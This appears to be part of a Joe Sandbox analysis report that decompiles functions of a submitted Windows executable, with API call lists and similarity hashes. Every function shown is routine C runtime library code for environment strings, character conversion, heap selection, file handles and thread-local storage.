WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175A2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175C4
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175DD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 004175F0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041762E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction ID: 0d29547afa55ef8e208fbe3ff43deda8167c9cf171b961166aceb77faed46397
Opcode Fuzzy Hash: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction Fuzzy Hash: 4A31ADB250D3157ED7207F799C848FBBABDEA49368B11053BF555C3200EA298DC286AD

Uniqueness

Uniqueness Score: -1.00%

Function 00418A6C Relevance: 9.1, APIs: 6, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00418A6C(int _a4, char* _a8, int _a12, short* _a16, int _a20, int _a24, signed int _a28) {
				int _v8;
				intOrPtr _v20;
				short* _v28;
				short _v32;
				int _v36;
				short* _v40;
				void* _v56;
				int _t31;
				int _t32;
				int _t37;
				int _t43;
				int _t44;
				int _t45;
				void* _t53;
				short* _t60;
				int _t61;
				intOrPtr _t62;
				short* _t63;

				_push(0xffffffff);
				_push(0x41be18);
				_push(E00414A2C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t62;
				_t63 = _t62 - 0x18;
				_v28 = _t63;
				_t31 =  *0x423558; // 0x1
				if(_t31 != 0) {
					L6:
					if(_t31 != 2) {
						if(_t31 != 1) {
							goto L18;
						} else {
							if(_a20 == 0) {
								_t44 =  *0x42354c; // 0x0
								_a20 = _t44;
							}
							asm("sbb eax, eax");
							_t37 = MultiByteToWideChar(_a20, ( ~_a28 & 0x00000008) + 1, _a8, _a12, 0, 0);
							_v36 = _t37;
							if(_t37 == 0) {
								goto L18;
							} else {
								_v8 = 0;
								E00413CC0(_t37 + _t37 + 0x00000003 & 0x000000fc, _t53);
								_v28 = _t63;
								_t60 = _t63;
								_v40 = _t60;
								E00417DA0(_t60, 0, _t37 + _t37);
								_v8 = _v8 | 0xffffffff;
								if(_t60 == 0) {
									goto L18;
								} else {
									_t43 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t60, _v36);
									if(_t43 == 0) {
										goto L18;
									} else {
										_t32 = GetStringTypeW(_a4, _t60, _t43, _a16);
									}
								}
							}
						}
					} else {
						_t45 = _a24;
						if(_t45 == 0) {
							_t45 =  *0x42353c; // 0x0
						}
						_t32 = GetStringTypeA(_t45, _a4, _a8, _a12, _a16);
					}
				} else {
					_push( &_v32);
					_t61 = 1;
					if(GetStringTypeW(_t61, 0x41bdf8, _t61, ??) == 0) {
						if(GetStringTypeA(0, _t61, 0x41bdf4, _t61,  &_v32) == 0) {
							L18:
							_t32 = 0;
						} else {
							_t31 = 2;
							goto L5;
						}
					} else {
						_t31 = _t61;
						L5:
						 *0x423558 = _t31;
						goto L6;
					}
				}
				 *[fs:0x0] = _v20;
				return _t32;
			}

0x00418a6f
0x00418a71
0x00418a76
0x00418a81
0x00418a82
0x00418a89
0x00418a8f
0x00418a92
0x00418a9b
0x00418adb
0x00418ade
0x00418b07
0x00000000
0x00418b0d
0x00418b10
0x00418b12
0x00418b17
0x00418b17
0x00418b27
0x00418b31
0x00418b37
0x00418b3c
0x00000000
0x00418b3e
0x00418b3e
0x00418b4b
0x00418b50
0x00418b53
0x00418b55
0x00418b5b
0x00418b70
0x00418b76
0x00000000
0x00418b78
0x00418b87
0x00418b8f
0x00000000
0x00418b91
0x00418b99
0x00418b99
0x00418b8f
0x00418b76
0x00418b3c
0x00418ae0
0x00418ae0
0x00418ae5
0x00418ae7
0x00418ae7
0x00418af9
0x00418af9
0x00418a9d
0x00418aa0
0x00418aa3
0x00418ab3
0x00418acd
0x00418ba1
0x00418ba1
0x00418ad3
0x00418ad5
0x00000000
0x00418ad5
0x00418ab5
0x00418ab5
0x00418ad6
0x00418ad6
0x00000000
0x00418ad6
0x00418ab3
0x00418ba9
0x00418bb4

APIs

GetStringTypeW.KERNEL32(00000001,0041BDF8,00000001,?,747170F0,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AAB
GetStringTypeA.KERNEL32(00000000,00000001,0041BDF4,00000001,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AC5
GetStringTypeA.KERNEL32(?,?,?,?,004186BE,747170F0,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AF9
MultiByteToWideChar.KERNEL32(?,004256C5,?,?,00000000,00000000,747170F0,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418B31
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004186BE,?), ref: 00418B87
GetStringTypeW.KERNEL32(?,?,00000000,004186BE,?,?,?,?,?,?,004186BE,?), ref: 00418B99

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction ID: e288f18e772608454304c6360a88be647065f5ca3cb36798b5d5ed4d75a3f5a0
Opcode Fuzzy Hash: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction Fuzzy Hash: B0416DB2600219BFCF208F94DC86EEF7F79EB08794F10442AF915D2250D7389991CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004158B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004158B0(void* __ecx, void* __eflags) {
				char _v8;
				struct _OSVERSIONINFOA _v156;
				char _v416;
				char _v4656;
				void* _t24;
				CHAR* _t32;
				void* _t33;
				intOrPtr* _t34;
				void* _t35;
				char _t36;
				char _t38;
				void* _t40;
				char* _t44;
				char* _t45;
				char* _t50;

				E00413CC0(0x122c, __ecx);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) != 0 && _v156.dwPlatformId == 2 && _v156.dwMajorVersion >= 5) {
					_t40 = 1;
					return _t40;
				}
				if(GetEnvironmentVariableA("__MSVCRT_HEAP_SELECT",  &_v4656, 0x1090) == 0) {
					L28:
					_t24 = E00415883( &_v8);
					asm("sbb eax, eax");
					return _t24 + 3;
				}
				_t44 =  &_v4656;
				if(_v4656 != 0) {
					do {
						_t38 =  *_t44;
						if(_t38 >= 0x61 && _t38 <= 0x7a) {
							 *_t44 = _t38 - 0x20;
						}
						_t44 = _t44 + 1;
					} while ( *_t44 != 0);
				}
				if(E00417D60("__GLOBAL_HEAP_SELECTED",  &_v4656, 0x16) != 0) {
					GetModuleFileNameA(0,  &_v416, 0x104);
					_t45 =  &_v416;
					if(_v416 != 0) {
						do {
							_t36 =  *_t45;
							if(_t36 >= 0x61 && _t36 <= 0x7a) {
								 *_t45 = _t36 - 0x20;
							}
							_t45 = _t45 + 1;
						} while ( *_t45 != 0);
					}
					_t32 = E00417CE0( &_v4656,  &_v416);
				} else {
					_t32 =  &_v4656;
				}
				if(_t32 == 0) {
					goto L28;
				}
				_t33 = E00417C20(_t32, 0x2c);
				if(_t33 == 0) {
					goto L28;
				}
				_t34 = _t33 + 1;
				_t50 = _t34;
				if( *_t34 != 0) {
					do {
						if( *_t50 != 0x3b) {
							_t50 = _t50 + 1;
						} else {
							 *_t50 = 0;
						}
					} while ( *_t50 != 0);
				}
				_t35 = E004179F0(_t34, 0, 0xa);
				if(_t35 != 2 && _t35 != 3 && _t35 != 1) {
					goto L28;
				}
				return _t35;
			}

0x004158b8
0x004158c5
0x004158d7
0x004158ed
0x00000000
0x004158ed
0x0041590c
0x004159e2
0x004159e6
0x004159f0
0x00000000
0x004159f2
0x00415914
0x00415920
0x00415922
0x00415922
0x00415926
0x0041592e
0x0041592e
0x00415930
0x00415931
0x00415922
0x0041594d
0x00415964
0x00415970
0x00415976
0x00415978
0x00415978
0x0041597c
0x00415984
0x00415984
0x00415986
0x00415987
0x00415978
0x00415999
0x0041594f
0x0041594f
0x0041594f
0x004159a2
0x00000000
0x00000000
0x004159a7
0x004159b0
0x00000000
0x00000000
0x004159b2
0x004159b3
0x004159b7
0x004159b9
0x004159bc
0x004159c2
0x004159be
0x004159be
0x004159be
0x004159c3
0x004159b9
0x004159cb
0x004159d6
0x00000000
0x00000000
0x004159f7

APIs

GetVersionExA.KERNEL32 ref: 004158CF
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00415904
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00415964

Strings

__MSVCRT_HEAP_SELECT, xrefs: 004158FF
__GLOBAL_HEAP_SELECTED, xrefs: 0041593E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction ID: 007b09a40ac423c1d447adb87a92c2e34be193f5817f586218815b66d4303cb2
Opcode Fuzzy Hash: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction Fuzzy Hash: 403177F1961648EDEF3196709C82BDF3B78DB46324F2400DBD185D6242E6388EC68B1B

Uniqueness

Uniqueness Score: -1.00%

Function 00417641 Relevance: 7.6, APIs: 5, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00417641() {
				void** _v8;
				struct _STARTUPINFOA _v76;
				signed int* _t48;
				signed int _t50;
				long _t55;
				signed int _t57;
				signed int _t58;
				int _t59;
				signed char _t63;
				signed int _t65;
				void** _t67;
				int _t68;
				int _t69;
				signed int* _t70;
				int _t72;
				intOrPtr* _t73;
				signed int* _t75;
				void* _t76;
				void* _t84;
				void* _t87;
				int _t88;
				signed int* _t89;
				void** _t90;
				signed int _t91;
				int* _t92;

				_t89 = E00413E65(0x480);
				if(_t89 == 0) {
					E00414C0C(0x1b);
				}
				 *0x425900 = _t89;
				 *0x425a00 = 0x20;
				_t1 =  &(_t89[0x120]); // 0x480
				_t48 = _t1;
				while(_t89 < _t48) {
					_t89[1] = _t89[1] & 0x00000000;
					 *_t89 =  *_t89 | 0xffffffff;
					_t89[2] = _t89[2] & 0x00000000;
					_t89[1] = 0xa;
					_t70 =  *0x425900; // 0x520630
					_t89 =  &(_t89[9]);
					_t48 =  &(_t70[0x120]);
				}
				GetStartupInfoA( &_v76);
				__eflags = _v76.cbReserved2;
				if(_v76.cbReserved2 == 0) {
					L25:
					_t72 = 0;
					__eflags = 0;
					do {
						_t75 =  *0x425900; // 0x520630
						_t50 = _t72 + _t72 * 8;
						__eflags = _t75[_t50] - 0xffffffff;
						_t90 =  &(_t75[_t50]);
						if(_t75[_t50] != 0xffffffff) {
							_t45 =  &(_t90[1]);
							 *_t45 = _t90[1] | 0x00000080;
							__eflags =  *_t45;
							goto L37;
						}
						__eflags = _t72;
						_t90[1] = 0x81;
						if(_t72 != 0) {
							asm("sbb eax, eax");
							_t55 =  ~(_t72 - 1) + 0xfffffff5;
							__eflags = _t55;
						} else {
							_t55 = 0xfffffff6;
						}
						_t87 = GetStdHandle(_t55);
						__eflags = _t87 - 0xffffffff;
						if(_t87 == 0xffffffff) {
							L33:
							_t90[1] = _t90[1] | 0x00000040;
						} else {
							_t57 = GetFileType(_t87);
							__eflags = _t57;
							if(_t57 == 0) {
								goto L33;
							}
							_t58 = _t57 & 0x000000ff;
							 *_t90 = _t87;
							__eflags = _t58 - 2;
							if(_t58 != 2) {
								__eflags = _t58 - 3;
								if(_t58 == 3) {
									_t90[1] = _t90[1] | 0x00000008;
								}
								goto L37;
							}
							goto L33;
						}
						L37:
						_t72 = _t72 + 1;
						__eflags = _t72 - 3;
					} while (_t72 < 3);
					return SetHandleCount( *0x425a00);
				}
				_t59 = _v76.lpReserved2;
				__eflags = _t59;
				if(_t59 == 0) {
					goto L25;
				}
				_t88 =  *_t59;
				_t73 = _t59 + 4;
				_v8 = _t73 + _t88;
				__eflags = _t88 - 0x800;
				if(_t88 >= 0x800) {
					_t88 = 0x800;
				}
				__eflags =  *0x425a00 - _t88; // 0x20
				if(__eflags >= 0) {
					L18:
					_t91 = 0;
					__eflags = _t88;
					if(_t88 <= 0) {
						goto L25;
					} else {
						goto L19;
					}
					do {
						L19:
						_t76 =  *_v8;
						__eflags = _t76 - 0xffffffff;
						if(_t76 == 0xffffffff) {
							goto L24;
						}
						_t63 =  *_t73;
						__eflags = _t63 & 0x00000001;
						if((_t63 & 0x00000001) == 0) {
							goto L24;
						}
						__eflags = _t63 & 0x00000008;
						if((_t63 & 0x00000008) != 0) {
							L23:
							_t65 = _t91 & 0x0000001f;
							__eflags = _t65;
							_t67 =  &(0x425900[_t91 >> 5][_t65 + _t65 * 8]);
							 *_t67 =  *_v8;
							_t67[1] =  *_t73;
							goto L24;
						}
						_t68 = GetFileType(_t76);
						__eflags = _t68;
						if(_t68 == 0) {
							goto L24;
						}
						goto L23;
						L24:
						_v8 =  &(_v8[1]);
						_t91 = _t91 + 1;
						_t73 = _t73 + 1;
						__eflags = _t91 - _t88;
					} while (_t91 < _t88);
					goto L25;
				} else {
					_t92 = 0x425904;
					while(1) {
						_t69 = E00413E65(0x480);
						__eflags = _t69;
						if(_t69 == 0) {
							break;
						}
						 *0x425a00 =  *0x425a00 + 0x20;
						__eflags =  *0x425a00;
						 *_t92 = _t69;
						_t13 = _t69 + 0x480; // 0x480
						_t84 = _t13;
						while(1) {
							__eflags = _t69 - _t84;
							if(_t69 >= _t84) {
								break;
							}
							 *(_t69 + 4) =  *(_t69 + 4) & 0x00000000;
							 *_t69 =  *_t69 | 0xffffffff;
							 *(_t69 + 8) =  *(_t69 + 8) & 0x00000000;
							 *((char*)(_t69 + 5)) = 0xa;
							_t69 = _t69 + 0x24;
							_t84 =  *_t92 + 0x480;
						}
						_t92 =  &(_t92[1]);
						__eflags =  *0x425a00 - _t88; // 0x20
						if(__eflags < 0) {
							continue;
						}
						goto L18;
					}
					_t88 =  *0x425a00; // 0x20
					goto L18;
				}
			}

0x00417654
0x00417659
0x0041765d
0x00417662
0x00417663
0x00417669
0x00417673
0x00417673
0x00417679
0x0041767d
0x00417681
0x00417684
0x00417688
0x0041768c
0x00417691
0x00417694
0x00417694
0x0041769f
0x004176a5
0x004176aa
0x00417781
0x00417781
0x00417781
0x00417783
0x00417783
0x00417789
0x0041778c
0x00417790
0x00417793
0x004177e2
0x004177e2
0x004177e2
0x00000000
0x004177e2
0x00417795
0x00417797
0x0041779b
0x004177a7
0x004177a9
0x004177a9
0x0041779d
0x0041779f
0x0041779f
0x004177b3
0x004177b5
0x004177b8
0x004177d1
0x004177d1
0x004177ba
0x004177bb
0x004177c1
0x004177c3
0x00000000
0x00000000
0x004177c5
0x004177ca
0x004177cc
0x004177cf
0x004177d7
0x004177da
0x004177dc
0x004177dc
0x00000000
0x004177da
0x00000000
0x004177cf
0x004177e6
0x004177e6
0x004177e7
0x004177e7
0x004177fc
0x004177fc
0x004176b0
0x004176b3
0x004176b5
0x00000000
0x00000000
0x004176bb
0x004176bd
0x004176c3
0x004176cb
0x004176cd
0x004176cf
0x004176cf
0x004176d1
0x004176d7
0x0041772f
0x0041772f
0x00417731
0x00417733
0x00000000
0x00000000
0x00000000
0x00000000
0x00417735
0x00417735
0x00417738
0x0041773a
0x0041773d
0x00000000
0x00000000
0x0041773f
0x00417741
0x00417743
0x00000000
0x00000000
0x00417745
0x00417747
0x00417754
0x0041775b
0x0041775b
0x00417768
0x00417770
0x00417774
0x00000000
0x00417774
0x0041774a
0x00417750
0x00417752
0x00000000
0x00000000
0x00000000
0x00417777
0x00417777
0x0041777b
0x0041777c
0x0041777d
0x0041777d
0x00000000
0x004176d9
0x004176d9
0x004176de
0x004176e3
0x004176e8
0x004176eb
0x00000000
0x00000000
0x004176ed
0x004176ed
0x004176f4
0x004176f6
0x004176f6
0x004176fc
0x004176fc
0x004176fe
0x00000000
0x00000000
0x00417700
0x00417704
0x00417707
0x0041770b
0x00417711
0x00417714
0x00417714
0x0041771c
0x0041771f
0x00417725
0x00000000
0x00000000
0x00000000
0x00417727
0x00417729
0x00000000
0x00417729

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041769F
GetFileType.KERNEL32(?,?,00000000), ref: 0041774A
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 004177AD
GetFileType.KERNEL32(00000000,?,00000000), ref: 004177BB
SetHandleCount.KERNEL32 ref: 004177F2

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction ID: 1521dec5194d53324a877df202082dadc936f581ec6971422c000dc394b087b4
Opcode Fuzzy Hash: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction Fuzzy Hash: 39510B716086458FC7208B28D8847A67BB0FB11378F65866ED5B2C72E0D738A886C759

Uniqueness

Uniqueness Score: -1.00%

Function 00403AA7 Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00403AA7(signed int __ecx) {
				short _v6;
				char _v12;
				short _t12;
				short _t27;
				int _t29;
				void* _t30;

				_push(__ecx);
				_push(__ecx);
				_v6 = __ecx;
				if(__ecx != 0) {
					_t27 = CharUpperW(__ecx & 0x0000ffff);
					if(_t27 != 0 || GetLastError() != 0x78) {
						_t12 = _t27;
					} else {
						_t29 = WideCharToMultiByte(0, 0,  &_v6, 1,  &_v12, 4, 0, 0);
						if(_t29 != 0 && _t29 <= 4) {
							 *((char*)(_t30 + _t29 - 8)) = 0;
							CharUpperA( &_v12);
							MultiByteToWideChar(0, 0,  &_v12, _t29,  &_v6, 1);
						}
						_t12 = _v6;
					}
				} else {
					_t12 = 0;
				}
				return _t12;
			}

0x00403aaa
0x00403aab
0x00403ab3
0x00403ab7
0x00403ac8
0x00403acc
0x00403b21
0x00403ad9
0x00403aef
0x00403af3
0x00403afd
0x00403b02
0x00403b15
0x00403b15
0x00403b1b
0x00403b1b
0x00403ab9
0x00403ab9
0x00403ab9
0x00403b27

APIs

CharUpperW.USER32(00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AC2
GetLastError.KERNEL32(?,00000000,00000000,?,00403B6F), ref: 00403ACE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AE9
CharUpperA.USER32(?,?,00000000,00000000,?,00403B6F), ref: 00403B02
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,00000000,00000000,?,00403B6F), ref: 00403B15

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$ByteMultiUpperWide$ErrorLast
String ID:
API String ID: 3939315453-0
Opcode ID: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction ID: 0842cb939f6927aecb542cd9758d214692c03acffe84293a02396fd76ee0080f
Opcode Fuzzy Hash: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction Fuzzy Hash: B30144B65001197ADB20ABE49CC9DEBBA7CDB08259F414572F942A3281E3756E4487B8

Uniqueness

Uniqueness Score: -1.00%

Function 00415523 Relevance: 7.5, APIs: 5, Instructions: 38
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415523() {
				void _t10;
				long _t15;
				void* _t16;

				_t15 = GetLastError();
				_t16 = TlsGetValue( *0x420740);
				if(_t16 == 0) {
					_t16 = E00416EFC(1, 0x74);
					if(_t16 == 0 || TlsSetValue( *0x420740, _t16) == 0) {
						E00414C0C(0x10);
					} else {
						E00415510(_t16);
						_t10 = GetCurrentThreadId();
						 *(_t16 + 4) =  *(_t16 + 4) | 0xffffffff;
						 *_t16 = _t10;
					}
				}
				SetLastError(_t15);
				return _t16;
			}

0x00415531
0x00415539
0x0041553d
0x00415548
0x0041554e
0x00415578
0x00415561
0x00415562
0x00415568
0x0041556e
0x00415572
0x00415572
0x0041554e
0x0041557f
0x00415589

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,00416EEF,00417BBE,00000000,?,?,00000000,00000001), ref: 00415525
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00415533
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041557F

Part of subcall function 00416EFC: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00416FF2

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00415557
GetCurrentThreadId.KERNEL32 ref: 00415568

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction ID: cede6b9146d9eee740ee2dfbc4b23865fcca372efd47330e9e203dd76af2c63a
Opcode Fuzzy Hash: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction Fuzzy Hash: 09F09635A01611BBC7312B74AC096DB3E62EB857A1B51413AF551962A4DB28888196EC

Uniqueness

Uniqueness Score: -1.00%

Function 00417E3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00417E3A(int _a4) {
				signed int _v8;
				char _v21;
				char _v22;
				struct _cpinfo _v28;
				void* __ebx;
				void* __edi;
				intOrPtr* _t36;
				signed int _t40;
				signed int _t41;
				int _t43;
				signed int _t47;
				signed int _t49;
				int _t50;
				signed char* _t51;
				signed int _t55;
				signed char* _t57;
				signed int _t60;
				intOrPtr* _t63;
				signed int _t65;
				signed char _t66;
				signed char _t68;
				signed char _t69;
				signed int _t70;
				void* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				void* _t85;

				E0041570A(0x19);
				_t50 = E00417FE7(_a4);
				_t85 = _t50 -  *0x4256c8; // 0x4e4
				_a4 = _t50;
				if(_t85 != 0) {
					__eflags = _t50;
					if(_t50 == 0) {
						L30:
						E00418064();
					} else {
						_t65 = 0;
						__eflags = 0;
						_t36 = 0x422af8;
						while(1) {
							__eflags =  *_t36 - _t50;
							if( *_t36 == _t50) {
								break;
							}
							_t36 = _t36 + 0x30;
							_t65 = _t65 + 1;
							__eflags = _t36 - 0x422be8;
							if(_t36 < 0x422be8) {
								continue;
							} else {
								_t43 = GetCPInfo(_t50,  &_v28);
								_t81 = 1;
								__eflags = _t43 - _t81;
								if(_t43 != _t81) {
									__eflags =  *0x423510;
									if( *0x423510 == 0) {
										_t77 = _t81 | 0xffffffff;
										__eflags = _t77;
									} else {
										goto L30;
									}
								} else {
									 *0x4258e4 =  *0x4258e4 & 0x00000000;
									_t60 = 0x40;
									__eflags = _v28 - _t81;
									memset(0x4257e0, 0, _t60 << 2);
									asm("stosb");
									 *0x4256c8 = _t50;
									if(__eflags <= 0) {
										 *0x4256dc =  *0x4256dc & 0x00000000;
										__eflags =  *0x4256dc;
									} else {
										__eflags = _v22;
										if(_v22 != 0) {
											_t63 =  &_v21;
											while(1) {
												_t69 =  *_t63;
												__eflags = _t69;
												if(_t69 == 0) {
													goto L24;
												}
												_t49 =  *(_t63 - 1) & 0x000000ff;
												_t70 = _t69 & 0x000000ff;
												while(1) {
													__eflags = _t49 - _t70;
													if(_t49 > _t70) {
														break;
													}
													 *(_t49 + 0x4257e1) =  *(_t49 + 0x4257e1) | 0x00000004;
													_t49 = _t49 + 1;
												}
												_t63 = _t63 + 2;
												__eflags =  *(_t63 - 1);
												if( *(_t63 - 1) != 0) {
													continue;
												}
												goto L24;
											}
										}
										L24:
										_t47 = _t81;
										do {
											 *(_t47 + 0x4257e1) =  *(_t47 + 0x4257e1) | 0x00000008;
											_t47 = _t47 + 1;
											__eflags = _t47 - 0xff;
										} while (_t47 < 0xff);
										 *0x4258e4 = E00418031(_t50);
										 *0x4256dc = _t81;
									}
									_t71 = 0x4256d0;
									asm("stosd");
									asm("stosd");
									asm("stosd");
									L31:
									E0041808D(_t50, _t71);
									goto L1;
								}
							}
							goto L33;
						}
						_v8 = _v8 & 0x00000000;
						_t55 = 0x40;
						memset(0x4257e0, 0, _t55 << 2);
						_t79 = _t65 + _t65 * 2 << 4;
						__eflags = _t79;
						asm("stosb");
